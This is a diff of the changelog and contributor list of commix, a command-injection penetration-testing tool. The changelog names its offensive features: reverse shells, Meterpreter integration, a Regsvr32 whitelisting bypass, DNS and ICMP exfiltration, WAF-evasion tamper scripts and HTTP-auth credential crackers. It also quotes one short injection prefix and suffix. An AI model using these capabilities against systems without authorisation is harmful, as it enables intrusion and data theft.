+* Fixed: Minor bug-fix regarding checking for similarity in provided parameter name and value (GET, POST).
+* Added: New option `--backticks` that uses backticks instead of `$()`, for command substitution.
+* Revised: Minor improvement in Netcat shells, for giving to the end-user the choice of using the `/bin` standard subdirectory.
* Added: New option `--disable-coloring` that disables console output coloring.
* Added: New option `--check-tor` that checks if Tor is used properly.
* Fixed: Minor improvement for fetching random HTTP User-Agent header in initial request, when `--random-agent` is used.
@@ -199,11 +572,13 @@
* Fixed: Major bug-fix regarding connection problem over HTTPS.
* Added: New option `--purge-output` to turn on safe removal of all content(s) from output directory.
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.0-20170714...v2.1-20171003)._
+
## Version 2.0 (2017-07-14)
* Revised: Minor improvement for automatically increasing default `--time-sec` value when `--tor` used.
* Fixed: Minor improvement for not re-testing Tor SOCKS proxy settings (in case of multiple targets).
* Revised: Multiple minor eye-candy revisions have been performed.
-* Fixed: Major improvement regarding not sending requests with GET mothod in case of POST method, in injection levels 2, 3.
+* Fixed: Major improvement regarding not sending requests with GET HTTP mothod in case of POST HTTP method, in injection levels 2, 3.
* Updated: The `--sys-info` option has been enriched with distribution description and release information.
* Revised: Minor improvement in dynamic code evaluation, regarding the users extraction payload.
* Fixed: Minor fix regarding not raising the detection phase in the case of 4xx and/or 5xx HTTP error codes.
@@ -213,18 +588,22 @@
* Added: New option `--mobile` that imitates smartphone through HTTP User-Agent header.
* Added: New option `--retries` that retries request(s) when the connection timeouts.
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.9-20170502...v2.0-20170714)._
+
## Version 1.9 (2017-05-02)
-* Revised: Minor improvement in results-based techniques, for delaying the OS responses depending on the user-provided time delay.
-* Revised: The time-related ("time-based"/"tempfile-based") payloads, have been shortly revised.
-* Revised: Minor improvement in file-based technique, for delaying the OS responses depending on the user-provided time delay.
-* Fixed: Minor improvement in file-based technique, regarding τhe directory path that the output file is saved.
+* Revised: Minor improvement in results-based techniques, for delaying the OS responses depending on the user-supplied time delay.
+* Revised: The time-related payloads (i.e. "time-based", "tempfile-based"), have been shortly revised.
+* Revised: Minor improvement in semiblind (i.e. "file-based") technique, for delaying the OS responses depending on the user-supplied time delay.
+* Fixed: Minor improvement in semiblind (i.e. "file-based") technique, regarding the directory path that the output file is saved.
* Added: New option `--ignore-redirects` that ignoring redirection attempts.
* Added: New functionality for identifying and following URL redirections.
-* Fixed: Minor improvement for adding "/" at the end of the user provided root dir (in case it does not exist).
-* Revised: The file-based payload for deleting files with execution output, has been shortly revised.
+* Fixed: Minor improvement for adding `/` at the end of the user provided root dir (in case it does not exist).
+* Revised: The semiblind (i.e. "file-based") payload for deleting files with execution output, has been shortly revised.
* Replaced: The `--root-dir` option has been replaced with `--web-root` option.
* Added: New option `--wizard` that shows a simple wizard interface for beginner users.
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.8-20170315...v1.9-20170502)._
+
## Version 1.8 (2017-03-15)
* Added: New feauture for installing Unicorn tool (if not installed on host).
* Removed: The pre-installed version of Unicorn tool has been removed.
@@ -233,13 +612,15 @@
* Replaced: The `--delay` option has been replaced with `--time-sec` option.
* Fixed: Minor improvement regarding gnureadline module for better support on MacOS X hosts.
* Added: New option `--charset` that forces character encoding used for data retrieval.
-* Added: New prefix ("'%26") and suffix ("%26'") have been added.
-* Fixed: Removal of unnecessary command substitution in semiblind ("file-based") technique.
+* Added: New prefix (`'%26`) and suffix (`%26'`) have been added.
+* Fixed: Removal of unnecessary command substitution in semiblind technique (i.e. "file-based").
* Updated: The Unicorn tool has been updated to version 2.4.2.
* Added: Support for the Regsvr32.exe Application Whitelisting Bypass technique.
* Fixed: Minor improvement for checking for established TCP connections.
* Fixed: Minor improvement for not reopening meterpreter sessions (in case of user abortion).
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.7-20170203...v1.8-20170315)._
+
## Version 1.7 (2017-02-03)
* Fixed: Minor improvement regarding unverified SSL context(s).
* Added: New values ("URIPATH", "SRVPORT") have been added to "Set" option.
@@ -249,14 +630,16 @@
* Fixed: Minor improvement regarding automated scan level increasing.
* Fixed: Improvement regarding skipping the testing of problematic URL(s) and proceeding with next ones (in case of scanning multiple targets).
* Fixed: Improvement regarding printing current assessment state in case of user abortion.
-* Revised: Minor improvement for proceeding with semiblind ("file-based") technique, once the user provides the path of web server's root directory.
+* Revised: Minor improvement for proceeding with semiblind technique (i.e. "file-based"), once the user provides the path of web server's root directory.
* Fixed: Minor fix regarding the lack of http/s to the user-defined URL(s).
* Added: New option `--skip-empty` for skipping the testing of the parameter(s) with empty value(s).
* Fixed: Improvement regarding testing the parameter(s) with empty value(s).
-* Added: New CGI shellscript path "/cgi-bin/cgiCmdNotify" (vulnerable to shellshock) has been added.
+* Added: New CGI shellscript path `/cgi-bin/cgiCmdNotify` (vulnerable to shellshock) has been added.
+
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.6-20161228...v1.7-20170203)._
## Version 1.6 (2016-12-28)
-* Fixed: Improvement regarding json-formated POST data, where whitespace before (and/or after) the ":" exists.
+* Fixed: Improvement regarding json-formated POST data, where whitespace before (and/or after) the `":"` exists.
* Fixed: Minor fix regarding empty value(s) in provided parameter(s).
* Added: New option `--batch` that never asks for user input (using the default behaviour).
* Added: New option `-x` for parsing target(s) from remote sitemap(.xml) file.
@@ -266,14 +649,16 @@
* Added: New option `-r` for loading HTTP request from a file.
* Fixed: Improvement regarding the response time estimimation, in which the target URL was requested without its POST data.
* Added: New option `-m` for scanning multiple targets given in a textual file.
-* Fixed: Minor fix regarding the newline display in dynamic code evaluation ("eval-based") and semiblind ("file-based") technique.
-* Revised: The dynamic code evaluation ("eval-based") payloads have been shortly revised.
+* Fixed: Minor fix regarding the newline display in dynamic code evaluation (i.e. "eval-based") and semiblind technique (i.e. "file-based").
+* Revised: The dynamic code evaluation (i.e. "eval-based") payloads have been shortly revised.
* Added: The executed command and the execution results output has been added to log file.
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.5-20161117...v1.6-20161228)._
+
## Version 1.5 (2016-11-17)
* Fixed: Minor improvement in the "ICMP exfiltration" module.
* Fixed: Minor improvement for choosing default value when pressing enter.
-* Added: New tamper script "hexencode.py" that encodes the payload to hex format.
+* Added: New tamper script "hexencode.py" that encodes the payload to `Hex` format.
* Fixed: Minor improvements in executed commands history.
* Added: New verbosity level (4) for printing the HTTP response page content.
* Added: New option `-t` for logging all HTTP traffic into a textual file.
@@ -281,8 +666,10 @@
* Added: New verbosity level (3) for printing the HTTP response headers.
* Added: New verbosity level (2) for printing the performed HTTP requests headers.
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.4-20161017...v1.5-20161117)._
+
## Version 1.4 (2016-10-17)
-* Added: Support on crawler for checking target for the existence of 'sitemap.xml'.
+* Added: Support on crawler for checking target for the existence of "sitemap.xml".
* Revised: The payload for Ruby reverse-shell has been shortly revised.
* Added: Support for bind TCP shell (via "bind_tcp" option).
* Added: New option `--crawl` (1,2) for crawling of a given website, starting from the target url.
@@ -292,6 +679,8 @@
* Fixed: Minor improvement in the function that checks for updates on start up.
* Fixed: Minor improvements in enumeration options (added failure messages).
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.3-20160914...v1.4-20161017)._
+
## Version 1.3 (2016-09-14)
* Fixed: Minor improvements in "reverse_tcp" option.
* Added: Support for the metasploit "web_delivery" script.
@@ -302,85 +691,103 @@
* Fixed: Minor improvement in Shellshock module for ignoring junk output on response.
* Fixed: Minor improvement in Shellshock module for finding RCE results on page's response.
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.2-20160812...v1.3-20160914)._
+
## Version 1.2 (2016-08-12)
* Added: The ability for setting custom (PHP / Python) working directory.
* Fixed: License file minor inaccurancy issue has been fixed.
* Revised: The Windows-based payloads for every supported technique, had been shortly revised.
-* Revised: The dynamic code evaluation ("eval-based") technique has been shortly revised.
-* Added: New tamper script "space2tab.py" that replaces every space ("%20") with horizontal tab ("%09").
+* Revised: The dynamic code evaluation technique (i.e. "eval-based") has been shortly revised.
+* Added: New tamper script "space2tab.py" that replaces every space (`%20`) with horizontal tab (`%09`).
* Added: The ability for generating powershell attack vectors via TrustedSec's Magic Unicorn.
* Added: The ability for checking if there is a new version available.
-* Added: The ability for target application extension recognition (i.e PHP, ASP etc).
-* Fixed: Minor improvement for finding the URL part (i.e scheme:[//host[:port]][/]path).
-* Fixed: Minor fix for conflicted shells (i.e regular, alternative) from session file.
+* Added: The ability for target application extension recognition (i.e. PHP, ASP etc).
+* Fixed: Minor improvement for finding the URL part (i.e. `scheme:[//host[:port]][/]path`).
+* Fixed: Minor fix for conflicted shells (i.e. regular, alternative) from session file.
+
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.1-20160714...v1.2-20160812)._
## Version 1.1 (2016-07-14)
* Added: The ".gitignore" file has been added.
* Added: Support for injections against ASP.NET applications.
-* Added: Support for warning detection regarding "create_function()" function.
+* Added: Support for warning detection regarding `create_function()` function.
* Fixed: Minor improvent of the HTTP server for `--file-upload` option.
* Fixed: Minor fix for conflicted executed commands from session file in HTTP Headers.
* Added: The ability to store injection level into session files for current target.
* Added: Support for automated enabling of an HTTP server for `--file-upload` option.
* Fixed: Minor fix for "Python-urllib" User-Agent exposure.
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.0-20160614...v1.1-20160714)._
+
## Version 1.0 (2016-06-14)
-* Revised: Time-relative statistical analysis for recognition of unexpected time delays due to unstable requests.
+* Revised: Time-related statistical analysis for recognition of unexpected time delays due to unstable requests.
* Added: A list of pages / scripts potentially vulnerable to shellshock.
* Added: The ability to check if the url is probable to contain script(s) vulnerable to shellshock.
* Revised: Multiple eye-candy revisions have been performed.
* Fixed: HTTPS requests fixation, if the `--proxy` option is enabled.
* Fixed: Multiple fixes regarding the shellshock module have been performed.
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.9b-20160607...v1.0-20160614)._
+
## Version 0.9b (2016-06-07)
* Added: The ability to re-perform the injection request if it has failed.
-* Fixed: The shell output in semiblind ("file-based") technique has been fixed not to concat new lines.
+* Fixed: The shell output in semiblind technique (i.e. "file-based") has been fixed not to concat new lines.
* Revised: The ability to execute multiple tamper scripts combined or the one after the other.
-* Added: New tamper script "space2plus.py" that replaces every space ("%20") with plus ("+").
+* Added: New tamper script "space2plus.py" that replaces every space (`%20`) with plus (`+`).
* Added: New state ("checking") and the color of that state has been setted.
* Replaced: The `--base64` option has been replaced with "base64encode.py" tamper script.
-* Added: New tamper script "space2ifs.py" that replaces every space ("%20") with $IFS (bash) variable.
+* Added: New tamper script "space2ifs.py" that replaces every space (`%20`) with `$IFS` (bash) variable.
* Added: New option `--tamper` that supports tamper injection scripts.
* Added: Support for verbosity levels (currently supported levels: 0,1).
* Fixed: Minor rearrangement of prefixes and separators has been implemented.
-* Revised: The "time-based" (blind) technique for *nix targets has been shortly revised.
-* Revised: The source code has been revised to support "print_state_msg" (i.e error, warning, success etc) functions.
+* Revised: The "time-based" (blind) technique for \*nix targets has been shortly revised.
+* Revised: The source code has been revised to support `print_state_msg` (i.e. error, warning, success etc) functions.
+
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.8b-20160506...v0.9b-20160607)._
## Version 0.8b (2016-05-06)
-* Fixed: The `--file-read` option to ignore the carriage return ("\r") character in a text file.
-* Added: The ability to check for empty value(s) in the defined GET/POST/Cookie(s) data and skip.
-* Replaced: The "INJECT_HERE" tag has been replaced with the "*" (asterisk) wildcard character.
+* Fixed: The `--file-read` option to ignore the carriage return (`\r`) character in a text file.
+* Added: The ability to check for empty value(s) in the defined GET, POST, Cookie data and skip.
+* Replaced: The `INJECT_HERE` tag has been replaced with the custom injection marker (i.e. asterisk `*`).
* Added: New option `--level` (1-3) that specifies level of tests to perform.
-* Added: New option `-p` that specifies a comma-separated list of GET/POST parameter.
+* Added: New option `-p` that specifies a comma-separated list of GET and POST parameter.
* Added: The ability to check every parameter in the provided cookie data.
* Added: The ability to check every GET parameter in the defined URL and/or every POST provided data.
* Added: New option `--all` that enables all supported enumeration options.
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.7b-20160418...v0.8b-20160506)._
+
## Version 0.7b (2016-04-18)
-* Fixed: HTTP proxy logs parser to accept GET http requests.
+* Fixed: HTTP proxy logs parser to accept GET HTTP requests.
* Fixed: HTTP proxy logs parser to recognise provided HTTP authentication credentials.
-* Added: Support for verbose mode in HTTP authentication (Basic / Digest) dictionary-based cracker.
+* Added: Support for verbose mode in HTTP authentication (i.e. `Basic`, `Digest`) dictionary-based cracker.
* Added: The ability to store valid (Digest) credentials into session files for current target.
-* Added: Dictionary-based cracker for "Digest" HTTP authentication credentials.
-* Added: Support for "Digest" HTTP authentication type.
+* Added: Dictionary-based cracker for `Digest` HTTP authentication credentials.
+* Added: Support for `Digest` HTTP authentication type.
+
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.6b-20160401...v0.7b-20160418)._
## Version 0.6b (2016-04-01)
-* Added: The ability to store valid (Basic) credentials into session files for current target.
+* Added: The ability to store valid (`Basic`) credentials into session files for current target.
* Added: New option `--ignore-401` that ignores HTTP Error 401 (Unauthorized) and continues tests without providing valid credentials.
-* Added: Dictionary-based cracker for "Basic" HTTP authentication credentials.
-* Added: Identifier for HTTP authentication type (currently only "Basic" type is supported).
+* Added: Dictionary-based cracker for `Basic` HTTP authentication credentials.
+* Added: Identifier for HTTP authentication type (currently only `Basic` type is supported).
* Added: New option `--skip-waf` that skips heuristic detection of WAF/IPS/IDS protection.
* Added: Support for verbose mode in the "DNS exfiltration" injection technique (module).
* Added: New option `--dns-server` that supports the "DNS exfiltration" injection technique (module).
* Added: New option `--dependencies` that checks (non-core) third party dependenices.
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.5b-20160316...v0.6b-20160401)._
+
## Version 0.5b (2016-03-16)
-* Fixed: The payload(s) for dynamic code evaluation ("eval-based"), if there is not any separator.
+* Fixed: The payload(s) for dynamic code evaluation (i.e. "eval-based"), if there is not any separator.
* Added: Support for verbose mode in the "ICMP exfiltration" injection technique (module).
* Added: Check if the user-defined os name, is different than the one identified by heuristics.
* Added: New option `--os` that forces a user-defined os name.
* Added: Support for testing custom HTTP headers (via `--headers` parameter).
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.4.1b-20160226...v0.5b-20160316)._
+
## Version 0.4.1b (2016-02-26)
* Added: Support for storing and retrieving executed commands from session file.
* Added: New option `-s` for loading session from session file.
@@ -388,61 +795,65 @@
* Added: New option `--flush-session` for flushing session files for current target.
* Added: Support to resume to the latest injection points from session file.
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.4b-20160204...v0.4.1b-20160226)._
+
## Version 0.4b (2016-02-04)
* Added: Payload mutation if WAF/IPS/IDS protection is detected.
* Added: Check for existence of WAF/IPS/IDS protection (via error pages).
* Added: The "set" option in "reverse_tcp" which sets a context-specific variable to a value.
* Added: New option `--force-ssl` for forcing usage of SSL/HTTPS requests.
+_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.3b-20160115...v0.4b-20160204)._
+
## Version 0.3b (2016-01-15)
-* Added: Time-relative false-positive identification, which identifies unexpected time delays due to unstable requests.
-* Added: New option `-l`, that parses target and data from HTTP proxy log file (i.e Burp or WebScarab).
+* Added: Time-related false-positive identification, which identifies unexpected time delays due to unstable requests.
+* Added: New option `-l`, that parses target and data from HTTP proxy log file (i.e. Burp or WebScarab).
* Added: Check if Powershell is enabled in target host, if the applied option's payload is requiring the use of PowerShell.
* Added: New option `--ps-version`, that checks PowerShell's version number.
* Replaced: Some powershell-based payloads, have been replaced by new (more solid) ones, so to avoid "Microsoft-IIS" server's incompatibilities.
* Added: Support (in MacOSX platforms) for a tab completion in shell options.
-* Added: Undocumented parameter "-InputFormat none" so to avoid "Microsoft-IIS" server's hang.
+* Added: Undocumented parameter `-InputFormat none` so to avoid "Microsoft-IIS" server's hang.
* Added: Ability for identification of "Microsoft-IIS" servers.
-* Added: Statistical checks for time-related ("time-based"/"tempfile-based") techniques.
+* Added: Statistical checks for time-related techniques (i.e. "time-based", "tempfile-based").
* Added: Support for Windows-based (cmd / powershell) payloads for every injection technique.
## Version 0.2b (2015-12-18)
* Added: Support for recalling previous commands.
* Added: Support (in Linux platforms) for tab completion in shell options.
-* Added: Support for alternative (Python) os-shell in dynamic code evaluation ("eval-based") technique.
+* Added: Support for alternative (Python) os-shell in dynamic code evaluation technique (i.e. "eval-based").
* Added: Support for PHP/Python meterpreter on "reverse_tcp" shell option.
* Added: The "reverse_tcp" shell option.
* Added: The ability to check for default root directories (Apache/Nginx).
-* Added: Support for removal of (txt) shell files in semiblind ("file-based"/"tempfile-based") techniques.
+* Added: Support for removal of (txt) shell files in semiblind techniques (i.e. "file-based", "tempfile-based").
* Added: Support for JSON POST data.
* Added: The "enumeration" and "file-read" results to log file.
* Added: The ability to get the user's approval before re-{enumerate/file-read} target.
* Added: The ability to stop current injection technique and proceed on the next one(s).
## Version 0.1b (2015-09-20)
-* Added: New eval-based payload for "str_replace()" filter bypass.
+* Added: New eval-based payload for `str_replace()` filter bypass.
* Added: Check for (GET) RESTful URL format.
-* Added: New option `--base64`, that encodes the OS command to Base64 format.
-* Added: Support for regular "preg_replace()" injections via "/e" modifier.
+* Added: New option `--base64`, that encodes the OS command to `Base64` format.
+* Added: Support for regular `preg_replace()` injections via `/e` modifier.
* Added: Support for HTML Charset and HTTP "Server" response-header reconnaissance (on verbose mode).
-* Replaced: Payloads for "tempfile-based" (semiblind) technique, have been replaced by new (more solid) ones.
-* Added: A "new-line" separator support, for "time-based" (blind) & "tempfile-based" (semiblind) techniques.
+* Replaced: Payloads for semiblind (i.e. "tempfile-based") technique, have been replaced by new (more solid) ones.
+* Added: A "new-line" separator support, for blind (i.e. "time-based") and semiblind (i.e. "tempfile-based") techniques.
* Added: Support for Referer HTTP header command injections.
* Added: Support for User-Agent HTTP header command injections.
-* Added: CVE-2014-6278 support for "shellshock" module.
+* Added: [CVE-2014-6278](https://nvd.nist.gov/vuln/detail/CVE-2014-6278) support for "shellshock" module.
* Added: Support for cookie-based command injections.
* Added: A generic false-positive prevention technique.
-* Removed: The "Base64" detection option.
+* Removed: The `Base64` detection option.
* Added: Support for the Tor network.
-* Added: The "shellshock" (CVE-2014-6271) injection technique (module).
+* Added: The "shellshock" [CVE-2014-6271](https://nvd.nist.gov/vuln/detail/cve-2014-6271) injection technique (module).
* Added: Termcolor support for Windows (colorama).
* Added: File access options.
* Added: Enumeration options.
* Added: New option `--alter-shell` that supports an alternative option for os-shell (e.g. Python).
* Added: New option `--icmp-exfil` that supports the "ICMP exfiltration" injection technique (module).
-* Added: The "tempfile-based" (semiblind) technique.
-* Added: The "file-based" (semiblind) technique.
-* Removed: The "boolean-based" (blind) technique.
+* Added: The semiblind (i.e. "tempfile-based") technique.
+* Added: The semiblind (i.e. "file-based") technique.
+* Removed: The blind (i.e. “boolean-based”) technique.
* Added: More Options.
## Version 0.1a (2014-12-20)
diff --git a/doc/THANKS.md b/doc/THANKS.md
index bb92530d1d..02ac1a55ae 100755
--- a/doc/THANKS.md
+++ b/doc/THANKS.md
@@ -1,93 +1,134 @@
-## Corporate sponsorship:
-* Thanks [Obrela Security Industries](https://www.obrela.com/) for sponsorship.
+# Thanks
-## List of individual donors:
-* Thanks John Brinton for a donation.
-* Thanks [Himself132](https://github.com/Himself132) for a donation.
-* Thanks [m3g9tr0n](https://twitter.com/m3g9tr0n) for a donation.
+Everyone below gave something to commix - code, translation, a package, an idea, or the report that led to a fix.
-## List of individual contributors:
-* Thanks [0x27](https://github.com/0x27) for suggesting an enhancement.
-* Thanks [609496288](https://github.com/609496288) for reporting a bug.
-* Thanks [Abdallah-Fouad-X](https://github.com/Abdallah-Fouad-X) for reporting a bug.
-* Thanks [abdoxfox](https://github.com/abdoxfox) for reporting a bug.
-* Thanks [ajinabraham](https://github.com/ajinabraham) for reporting a few bugs and for suggesting some features
-* Thanks [Alan Placidina](https://github.com/Placidina) for contributing code.
-* Thanks [alpha1e0](https://github.com/alpha1e0) for reporting a bug. and for contributing code.
-* Thanks [András Veres-Szentkirályi](https://github.com/dnet) for contributing code.
-* Thanks [Anton Bolshakov](https://github.com/blshkv) for contributing code.and for suggesting an enhancement.
-* Thanks [apprentice](https://github.com/apprentice) for contributing code.
-* Thanks [arbazkiraak](https://github.com/arbazkiraak) for suggesting a feature.
-* Thanks [ayzikhn18](https://github.com/ayzikhn18) for reporting a bug.
-* Thanks [B4RD4k](https://github.com/B4RD4k) for reporting a few bugs.
-* Thanks [blshkv](https://github.com/blshkv) for reporting a bug.and for suggesting a feature.
-* Thanks [botdigit-admin](https://github.com/botdigit-admin) for reporting a bug.
-* Thanks [CaptanLuffy](https://github.com/CaptanLuffy) for reporting a bug.
-* Thanks [Cat0x00](https://github.com/Cat0x00) for reporting a bug.
-* Thanks [ChenYun4164](https://github.com/ChenYun4164) for reporting a few bugs.
-* Thanks [CINOAdam](https://github.com/CINOAdam) for reporting a bug.
-* Thanks [Cxarli](https://github.com/Cxarli) for reporting a bug.
-* Thanks [dabing1205](https://github.com/dabing1205) for reporting a bug.
-* Thanks [dblock](https://github.com/dblock) for reporting a bug.
-* Thanks [dloco01](https://github.com/dloco01) for reporting a bug.
-* Thanks [doufu13](https://github.com/doufu13) for reporting a bug.
-* Thanks [Doug-Wyman](https://github.com/Doug-Wyman) for reporting a bug.
-* Thanks [ethicalhack3r](https://github.com/ethicalhack3r) for reporting a bug.
-* Thanks [fuero](https://github.com/fuero) for contributing code.
-* Thanks [g0tmi1k](https://github.com/g0tmi1k) for contributing code.
-* Thanks [gcattani](https://github.com/gcattani) for reporting a bug.
-* Thanks [ghost](https://github.com/ghost) for suggesting a feature.
-* Thanks [h0nus](https://github.com/h0nus) for reporting a bug.
-* Thanks [hack0mate](https://github.com/hack0mate) for reporting a bug.
-* Thanks [hadiirani](https://github.com/hadiirani) for reporting a bug.
-* Thanks [Hax0rG1rl](https://github.com/Hax0rG1rl) for suggesting an enhancement.
-* Thanks [hcstorm](https://github.com/hcstorm) for reporting mutliple bugs.
-* Thanks [Himself132](https://github.com/Himself132) for reporting a few bugs and for suggesting an enhancement.
-* Thanks [init5-msft](https://github.com/init5-msft) for reporting a bug.
-* Thanks [lacroutelacroute](https://github.com/lacroutelacroute) for reporting a few bugs.
-* Thanks [Jean Helie](https://github.com/jhelie) for contributing code.
-* Thanks [juushya](https://github.com/juushya) for reporting a bug.
-* Thanks [kaczalapa](https://github.com/kaczalapa) for reporting a few bugs.
-* Thanks [Kali95739](https://github.com/Kali95739) for reporting a bug.
-* Thanks [liboLee](https://github.com/liboLee) for reporting a bug.
-* Thanks [MidnightSeer](https://github.com/MidnightSeer) for reporting a bug.
-* Thanks [mohammed-sec2010](https://github.com/mohammed-sec2010) for suggesting a feature.
-* Thanks [MR-pentestGuy](https://github.com/MR-pentestGuy) for reporting a bug.
-* Thanks [Narvalo999](https://github.com/Narvalo999) for reporting a few bugs.
-* Thanks [Ny223](https://github.com/Ny223) for reporting a bug.
-* Thanks [NullArray](https://github.com/NullArray) for reporting a bug.
-* Thanks [onuryilmazinfo](https://github.com/onuryilmazinfo) for reporting a bug.
-* Thanks [Parshuram2](https://github.com/Parshuram2) for reporting a bug.
-* Thanks [plonibarploni](https://github.com/plonibarploni) for reporting a bug.
-* Thanks [pomil-1969](https://github.com/pomil-1969) for reporting a bug.
-* Thanks [powercrypt](https://github.com/powercrypt) for reporting a few bugs.
-* Thanks [royharoush](https://github.com/royharoush) for suggesting an enhancement.
-* Thanks [royshum93](https://github.com/royshum93) for reporting a bug.
-* Thanks [SaifSalah](https://github.com/SaifSalah) for reporting a bug.
-* Thanks [scblakely](https://github.com/scblakely) for reporting a bug.
-* Thanks [shaojava](https://github.com/shaojava) for reporting a bug.
-* Thanks [shelld3v](https://github.com/shelld3v) for contributing code.
-* Thanks [Simon](https://github.com/simonuvarov) for contributing code.
-* Thanks [simonuvarov](https://github.com/simonuvarov) for reporting a bug.
-* Thanks [Slavery](https://github.com/Slavery) for reporting a bug.
-* Thanks [sno0ose](https://github.com/sno0ose) for reporting a bug.
-* Thanks [somarrr](https://github.com/somarrr) for reporting a bug.
-* Thanks [td4b](https://github.com/td4b) for contributing code.
-* Thanks [techn0tr0ll](https://github.com/techn0tr0ll) for reporting a bug.
-* Thanks [Tensha](https://github.com/Tensha) for reporting a bug.
-* Thanks [temp3l](https://github.com/temp3l) for reporting a bug.
-* Thanks [thenight7](https://github.com/thenight7) for suggesting an enhancement.
-* Thanks [Tim Gates](https://github.com/timgates42) for contributing code.
-* Thanks [vincentubuntu](https://github.com/vincentubuntu) for reporting a bug.
-* Thanks [vinod272](https://github.com/vinod272) for reporting a bug.
-* Thanks [vmotos](https://github.com/vmotos) for reporting a bug.
-* Thanks [vojtapolasek](https://github.com/vojtapolasek) for reporting a few bugs.
-* Thanks [VolkNwn](https://github.com/VolkNwn) for reporting a bug.
-* Thanks [w9w](https://github.com/w9w) for reporting a bug.
-* Thanks [WangSongsen](https://github.com/WangSongsen) for reporting a bug.
-* Thanks [xsuperbug.](https://github.com/xsuperbug.) for suggesting a few features
-* Thanks [XVilka](https://github.com/XVilka) for suggesting an enhancement.
-* Thanks [yournainaidi](https://github.com/yournainaidi) for reporting a few bugs.
-* Thanks [zaaazaa](https://github.com/zaaazaa) for reporting a bug.
-* Thanks [zar3bski](https://github.com/zar3bski) for reporting a bug.
-* Thanks [Zarcolio](https://github.com/Zarcolio) for reporting a bug.
+## Sponsors
+
+[Obrela Security Industries](https://www.obrela.com/)
+
+## Donors
+
+John Brinton · Joseph Disser · [Himself132](https://github.com/Himself132) ·
+[m3g9tr0n](https://x.com/m3g9tr0n)
+
+## Code
+
+[0xFred](https://github.com/0xFred) ·
+[Alan Placidina](https://github.com/Placidina) ·
+[alpha1e0](https://github.com/alpha1e0) ·
+[András Veres-Szentkirályi](https://github.com/dnet) ·
+[anonymousdouble](https://github.com/anonymousdouble) ·
+[Anton Bolshakov](https://github.com/blshkv) ·
+[apprentice](https://github.com/apprentice) ·
+[daniruiz](https://github.com/daniruiz) ·
+[fuero](https://github.com/fuero) ·
+[g0tmi1k](https://github.com/g0tmi1k) ·
+[Jean Helie](https://github.com/jhelie) ·
+[liangzaihuanyv](https://github.com/liangzaihuanyv) ·
+[raeph123](https://github.com/raeph123) ·
+[Raymond-JV](https://github.com/Raymond-JV) ·
+[shelld3v](https://github.com/shelld3v) ·
+[Simon](https://github.com/simonuvarov) ·
+[td4b](https://github.com/td4b) ·
+[Tim Gates](https://github.com/timgates42)
+
+## Translations
+
+[Kazgangap](https://github.com/Kazgangap) - Turkish ·
+[verfosec](https://github.com/verfosec) - Farsi (Persian) ·
+[galihap76](https://github.com/galihap76) - Indonesian
+
+## Packaging
+
+[JitPatro](https://github.com/JitPatro) - the snap package (`snap install commix`)
+
+## Features and enhancements
+
+[0x27](https://github.com/0x27) ·
+[ajinabraham](https://github.com/ajinabraham) ·
+[Anton Bolshakov](https://github.com/blshkv) ·
+[arbazkiraak](https://github.com/arbazkiraak) ·
+[ghost](https://github.com/ghost) ·
+[Hax0rG1rl](https://github.com/Hax0rG1rl) ·
+[Himself132](https://github.com/Himself132) ·
+[mohammed-sec2010](https://github.com/mohammed-sec2010) ·
+[n00b-bot](https://github.com/n00b-bot) ·
+[prince74igor](https://github.com/prince74igor) ·
+[royharoush](https://github.com/royharoush) ·
+[Suselz](https://github.com/Suselz) ·
+[thenight7](https://github.com/thenight7) ·
+[xerxoria](https://github.com/xerxoria) ·
+[xsuperbug.](https://github.com/xsuperbug.) ·
+[XVilka](https://github.com/XVilka)
+
+## Bugs reported
+
+[609496288](https://github.com/609496288) ·
+[6kemb0bani](https://github.com/6kemb0bani) ·
+[Abdallah-Fouad-X](https://github.com/Abdallah-Fouad-X) ·
+[abdoxfox](https://github.com/abdoxfox) ·
+[ajinabraham](https://github.com/ajinabraham) ·
+[alpha1e0](https://github.com/alpha1e0) ·
+[Anton Bolshakov](https://github.com/blshkv) ·
+[ayzikhn18](https://github.com/ayzikhn18) ·
+[B4RD4k](https://github.com/B4RD4k) ·
+[botdigit-admin](https://github.com/botdigit-admin) ·
+[CaptanLuffy](https://github.com/CaptanLuffy) ·
+[Cat0x00](https://github.com/Cat0x00) ·
+[ChenYun4164](https://github.com/ChenYun4164) ·
+[CINOAdam](https://github.com/CINOAdam) ·
+[Cxarli](https://github.com/Cxarli) ·
+[dabing1205](https://github.com/dabing1205) ·
+[dblock](https://github.com/dblock) ·
+[dloco01](https://github.com/dloco01) ·
+[doufu13](https://github.com/doufu13) ·
+[Doug-Wyman](https://github.com/Doug-Wyman) ·
+[ethicalhack3r](https://github.com/ethicalhack3r) ·
+[gcattani](https://github.com/gcattani) ·
+[h0nus](https://github.com/h0nus) ·
+[hack0mate](https://github.com/hack0mate) ·
+[hadiirani](https://github.com/hadiirani) ·
+[hcstorm](https://github.com/hcstorm) ·
+[Himself132](https://github.com/Himself132) ·
+[init5-msft](https://github.com/init5-msft) ·
+[juushya](https://github.com/juushya) ·
+[kaczalapa](https://github.com/kaczalapa) ·
+[Kali95739](https://github.com/Kali95739) ·
+[lacroutelacroute](https://github.com/lacroutelacroute) ·
+[liboLee](https://github.com/liboLee) ·
+[MidnightSeer](https://github.com/MidnightSeer) ·
+[MR-pentestGuy](https://github.com/MR-pentestGuy) ·
+[Narvalo999](https://github.com/Narvalo999) ·
